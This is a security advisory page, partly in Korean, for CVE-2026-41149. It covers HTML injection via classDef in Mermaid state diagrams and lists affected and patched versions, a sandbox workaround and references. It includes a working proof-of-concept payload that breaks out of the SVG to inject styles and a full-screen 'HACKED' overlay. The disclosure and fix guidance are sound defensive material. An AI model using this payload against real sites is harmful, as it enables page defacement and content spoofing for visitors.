Mermaid: Improper sanitization of `classDef` in state diagrams leads to HTML injection

보통 5.3CVE-2026-41149 · GHSA-ghcm-xqfw-q4vr · Published 22/05/2026 · updated 23/07/2026

요약

CVE-2026-41149은(는) mermaid에 영향을 주는 보통 (CVSS 5.3) 취약점입니다.
향후 30일 내 악용 확률(EPSS): 0.40%, 전체 취약점의 34.5%보다 높음.
조치: 11.15.0, 10.9.6 이상으로 업데이트하세요.

Package	Affected versions	Patched versions
mermaid npm	`≥ 11.0.0-alpha.1, < 11.15.0< 10.9.6`	`11.15.010.9.6`

Description

Impact

Under the default configuration, Mermaid state diagram's classDef allow DOM injection that escapes the SVG, although <script> tags are removed, preventing XSS.

Proof-of-concept

stateDiagram-v2
  classDef xss fill:red</style></svg><style>*{x:x;y:y;overflow:visible!important;contain:none!important;transform:none!important;filter:none!important;clip-path:none!important}</style><div style="x:x;y:y;color:red;font:5em/1 monospace;display:grid;place-items:center;z-index:2147483647;width:100vw;height:100vh;position:fixed;top:0;left:0;background:black">HACKED</div><svg><style>a:b
  [*] --> A:::xss

Patches

Workarounds

If you can not update to a patched version, setting "securityLevel": "sandbox" will prevent this, by rendering the mermaid diagram in a sandboxed <iframe>.

Credits

Thanks to @zsxsoft from @KeenSecurityLab for reporting this vulnerability.

NVD description

Mermaid is a JavaScript tool that uses Markdown-inspired text to create and modify diagrams and charts. Versions 10.9.5 and earlier, as well as 11.0.0-alpha.1 through 11.14.0, are vulnerable to HTML injection under the default configuration. Specifically, the classDef directive in Mermaid state diagrams permits DOM injection that escapes the SVG context. However, <script> tags are stripped, which prevents cross-site scripting (XSS). This issue has been fixed in versions 10.9.6 and 11.15.0. If developers are unable to immediately upgrade, they can work around this issue by setting "securityLevel": "sandbox", which prevents the issue by rendering the mermaid diagram in a sandboxed <iframe>.

References

mermaid-js/mermaid security advisory · WEB
nvd.nist.gov/vuln/detail/CVE-2026-41149 · ADVISORY
mermaid-js/mermaid commit 37ff937 · WEB
mermaid-js/mermaid commit 4e2d512 · WEB
mermaid-js/mermaid · PACKAGE
mermaid-js/mermaid release [email protected] · WEB
mermaid-js/mermaid release v10.9.6 · WEB
mermaid.js.org/config/schema-docs/config.html · WEB

mermaid의 다른 취약점

모두 보기 →

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free

Package

Affected versions

Patched versions

mermaid

npm

≥ 11.0.0-alpha.1, < 11.15.0< 10.9.6

11.15.010.9.6